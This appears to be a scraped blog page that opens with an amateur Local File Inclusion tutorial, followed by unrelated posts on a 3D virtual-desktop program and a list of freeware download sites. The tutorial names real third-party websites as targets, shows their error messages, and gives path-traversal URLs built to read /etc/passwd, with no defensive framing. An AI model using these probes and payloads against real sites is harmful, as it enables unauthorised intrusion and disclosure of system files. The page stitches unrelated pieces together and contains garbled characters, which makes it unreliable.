Local File Inclusion Tutorial

Local File Inclusion Tutorial - Written by Xasulrev

[- How to Find LFI Vulnerability -]

How to Find LFI Vulnerability, Well i use me of adding ..
Example

www.site.com/index.php?p=.. 





Real World Examples:

http://www.jedit.org/index.php?page=..




Warning: main(...html): failed to open stream: No such file or directory in /home/groups/j/je/jedit/htdocs/index.php on line 
 63 
 
Warning: main(): Failed opening '...html' for inclusion (include_path='.:/usr/local/share/pear') in /home/groups/j/je/jedit/htdocs/index. 
php on line 63




This is not Vulnerable,
A Vulnerable should look like

Warning: include() [function.include]: Failed opening '...php' for inclusion (include_path='.:/usr/share/pear') in / 
home/shiner/shiner.com/htdocs/beers/beers-home.php on line 62




include is the code , the script is using for example

 
 
$page = $_GET[page]; 
include($page); 
?> 




Should be [function.include]
but

 
$page = $_GET[page]; 
require_once($page); 
?> 




should be [function.require_once] or [function.require]

[- Find Example (Real) -]

http://www.crew4sea.com/indexm.php?url=..




Gives us.

Fatal error: require_once() [function.require]: Failed opening required './..' (include_path='.:/:/usr/php/pear' 
) in /indexm.php on line 164




 [b][function.require][/b]




So we know it Vulnerable

if Windows OS, you can just do

http://www.crew4sea.com/indexm.php?url=indexm.php





other try
http://www.crew4sea.com/indexm.php?url=/etc/passwd
http://www.crew4sea.com/indexm.php?url=/etc/passwd
http://www.crew4sea.com/indexm.php?url=../etc/passwd
http://www.crew4sea.com/indexm.php?url=../etc/passwd

until you get Something.

Multiple desktop software [3d]

Have you seen that amazing cube effect you can do when using Linux? Now you can enjoy it when using Windows thanks to this great and free application.

Yod?m 3D, a name taken from the acronym of Yet Another Desktop Manager 3D, that?s what we will enjoy, a really good virtual desktop manager whose main function is to create multiple virtual desktops and let us change between them with that fashionable 3D cube.

One desktop on each side of the cube, so you will have 4 desktops (upper and lower are not accessible)and your screen will be more productive than ever, and, of course, it will looks really amazing.

The rotation of the cube is done with the keys CTRL+SHIFT+Arrows, although you can custom it, but if you want the effect to be more special, use your mouse.

Note
The project has been renamed, you can find the new version called DeskSpace clicking here

download link

Cool site for freewares

Daily Cup of Tech
Informant site about software, tech news and tips.

File Hippo
The best place to download freeware programs.

Giveaway of the Day
Free payware each day but only 24hrs for each app.

Lifehacker
Tech tricks, tips and downloads for getting things done.

Major Geeks
Download tons of freeware and sharware programs.

PortableApps
Portable programs that you can take anywhere.

Free Security Software
List of the best free security software on the net.

No Install
Programs that don't require installation.

Open Source Living
Browse and download Open Source programs.

Pen Drive Apps
Install apps for portable use that aren't made to be portable.

Portable AppZ
Independent developer who packages portable apps.

All Portable
Thinstalled programs and games for download.

Thin Download
More Thinstalled programs you can download.

other good resources for freeware. Use at your own risk. I have only used a few of these links for software.

http://www.fantasticfreeware.com/
http://www.econsultant.com/i-want-freeware-utilities/
http://www.tinyapps.org/
http://foss.librarianchick.com/
http://www.completelyfreesoftware.com/index_all.html
http://www.freeware-guide.com/
http://www.liberkey.com